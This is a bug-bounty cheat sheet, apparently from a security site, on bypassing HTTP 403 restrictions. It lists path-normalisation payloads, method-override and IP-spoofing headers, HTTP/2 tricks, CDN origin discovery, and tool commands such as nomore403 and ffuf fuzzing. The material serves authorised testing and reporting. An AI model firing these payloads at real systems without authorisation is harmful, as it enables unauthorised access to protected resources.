caon.io

403 Bypass

# https://github.com/laluka/bypass-url-parser
python3 bypass-url-parser.py --url target.com
# https://github.com/devploit/nomore403
nomore403 -u https://example.com

Why it works

The proxy and the origin disagree about what the path is. Everything below is a way to make them normalise differently.

Path

/admin          403
/admin/         200
/admin//        /.;/admin        /admin;/
/./admin/./     /admin/.         /admin..;/
/%2e/admin      /%2f/admin       /admin%20
/admin%00       /admin%0d        /admin%09
/admin.json     /admin.html      /admin.php
/ADMIN          /Admin           /aDmIn
/..;/admin      /admin/..;/      /;/admin
/%252e%252e%252fadmin

/..;/ and /.;/ are the Tomcat / Spring family. // and /./ cover most reverse proxies.

Method

GET → POST → PUT → PATCH → DELETE → HEAD → OPTIONS → TRACE
CONNECT / arbitrary verb: many frameworks default-allow unknown methods
X-HTTP-Method-Override: GET
X-HTTP-Method: GET
X-Method-Override: GET

Headers

X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Override-URL: /admin

Send those with GET /. The proxy allows /, the app routes on the header.

X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: localhost
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1;host=localhost

Also try 0, 0.0.0.0, 127.1, localhost, [::1], and the origin’s own internal IP.

Protocol

  • HTTP/1.1 blocked, HTTP/2 allowed: proxies often only inspect one
  • HTTP/2 pseudo-headers with a raw path the HTTP/1.1 parser would reject
  • Downgrade / upgrade the connection and retry

Reach the origin directly

If the block is at the CDN, find the origin IP and the ACL is gone.

# historical DNS, certificate transparency, favicon hash, misconfigured mail
# https://github.com/vincentcox/bypass-firewalls-by-DNS-history

See WAF Bypass.

Fuzz the difference, not the path

Send the same request with one byte changed at every position:

ffuf -u https://example.com/adminFUZZ -w chars.txt -mc all -fc 403
ffuf -u https://example.com/FUZZadmin -w chars.txt -mc all -fc 403

Filter on response length, not status. A 200 that renders the login page is not a bypass.

Before reporting

A 403 that turns into a 200 empty page is not a finding. Show data you should not be able to see, or an action you should not be able to take.

↑↓ navigate↵ openesc close